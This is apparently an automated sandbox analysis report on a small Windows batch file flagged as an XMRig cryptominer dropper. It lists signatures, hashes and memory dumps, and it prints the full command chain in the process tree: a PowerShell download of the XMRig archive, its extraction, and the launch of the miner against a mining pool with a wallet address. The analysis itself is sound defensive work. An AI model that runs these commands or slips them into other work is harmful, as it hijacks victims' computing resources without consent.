Analysis

  • max time kernel
    1792s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 20:04

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4376
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3880

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    7d3f952e420e8068d55b43719386e2d5

    SHA1

    6d3a717fc4c2496d9f67487ac7921e7cd43720ff

    SHA256

    b801a8abd933056d71d7bd9aed9f2db107423ecd902a8ef2ad26f8c59fb50ebf

    SHA512

    ccad804da43e843c58570153900a551a5a0ff7e54eec3ccf51c51eb7fd3b3b37afeeb487651f50a352c1107cda8efb51303e1836c6412816c57b5c6e2131b00a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l2szvjbt.gvc.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    228KB

    MD5

    595fcff365006c69a181093ff610d8d5

    SHA1

    bd9b3e4561b4c3a6ab76cb125c1677f2ded916f2

    SHA256

    e4056831bcb23906aa144c6ae890f70f8c629e5b3f05987f5a9320d5b0f04378

    SHA512

    9f6a7b977b822b2edc7cb96fe47d7fbfe70609545024e61cb5c5eab4f609f6afd8af0bb68ea78e81f2785bf7826c45207f3d9cc3b34b7b092984e2ff907e6d6b

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    100KB

    MD5

    f08ff2e7f1d74f7419cdaac94e1e47cb

    SHA1

    6acaf66b80beb3b62dd0cca9a9b6e26affba181b

    SHA256

    b23246b39c4feb6ca32d48e4b9c9849d8aba26e0188e4b64829c893186ed026f

    SHA512

    9d296b71d408d103e9dfdbaf520863e0ff6c60b9d3379a5b1ffa580f55a31636a8a5338647afacee1bef8c037f76e4c8c5f51cb051c70a828d985e83a6bcc085

  • memory/1112-26-0x000002A2A9720000-0x000002A2A9730000-memory.dmp

    Filesize

    64KB

  • memory/1112-10-0x000002A2C1BC0000-0x000002A2C1C36000-memory.dmp

    Filesize

    472KB

  • memory/1112-27-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/1112-28-0x000002A2A9720000-0x000002A2A9730000-memory.dmp

    Filesize

    64KB

  • memory/1112-29-0x000002A2A9720000-0x000002A2A9730000-memory.dmp

    Filesize

    64KB

  • memory/1112-34-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/1112-7-0x000002A2A9730000-0x000002A2A9752000-memory.dmp

    Filesize

    136KB

  • memory/1112-4-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/1112-6-0x000002A2A9720000-0x000002A2A9730000-memory.dmp

    Filesize

    64KB

  • memory/1112-5-0x000002A2A9720000-0x000002A2A9730000-memory.dmp

    Filesize

    64KB

  • memory/3880-144-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-152-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-190-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-189-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-188-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-187-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-122-0x00000222013C0000-0x00000222013E0000-memory.dmp

    Filesize

    128KB

  • memory/3880-186-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-123-0x0000022202E10000-0x0000022202E30000-memory.dmp

    Filesize

    128KB

  • memory/3880-124-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-127-0x0000022202E50000-0x0000022202E70000-memory.dmp

    Filesize

    128KB

  • memory/3880-126-0x0000022202E30000-0x0000022202E50000-memory.dmp

    Filesize

    128KB

  • memory/3880-125-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-128-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-129-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-131-0x0000022202E50000-0x0000022202E70000-memory.dmp

    Filesize

    128KB

  • memory/3880-130-0x0000022202E30000-0x0000022202E50000-memory.dmp

    Filesize

    128KB

  • memory/3880-132-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-133-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-134-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-135-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-136-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-137-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-138-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-139-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-140-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-141-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-142-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-143-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-185-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-145-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-146-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-147-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-148-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-149-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-150-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-151-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-184-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-153-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-154-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-155-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-156-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-157-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-158-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-159-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-160-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-161-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-162-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-163-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-164-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-165-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-166-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-167-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-168-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-169-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-170-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-171-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-172-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-173-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-174-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-175-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-176-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-177-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-178-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-179-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-180-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-181-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-182-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/3880-183-0x00007FF7CEE90000-0x00007FF7CF993000-memory.dmp

    Filesize

    11.0MB

  • memory/4376-67-0x00000255D1BB0000-0x00000255D1BC0000-memory.dmp

    Filesize

    64KB

  • memory/4376-39-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/4376-42-0x00000255D1BB0000-0x00000255D1BC0000-memory.dmp

    Filesize

    64KB

  • memory/4376-119-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/4376-81-0x00000255D1B90000-0x00000255D1BA2000-memory.dmp

    Filesize

    72KB

  • memory/4376-94-0x00000255D1B80000-0x00000255D1B8A000-memory.dmp

    Filesize

    40KB

  • memory/4376-41-0x00000255D1BB0000-0x00000255D1BC0000-memory.dmp

    Filesize

    64KB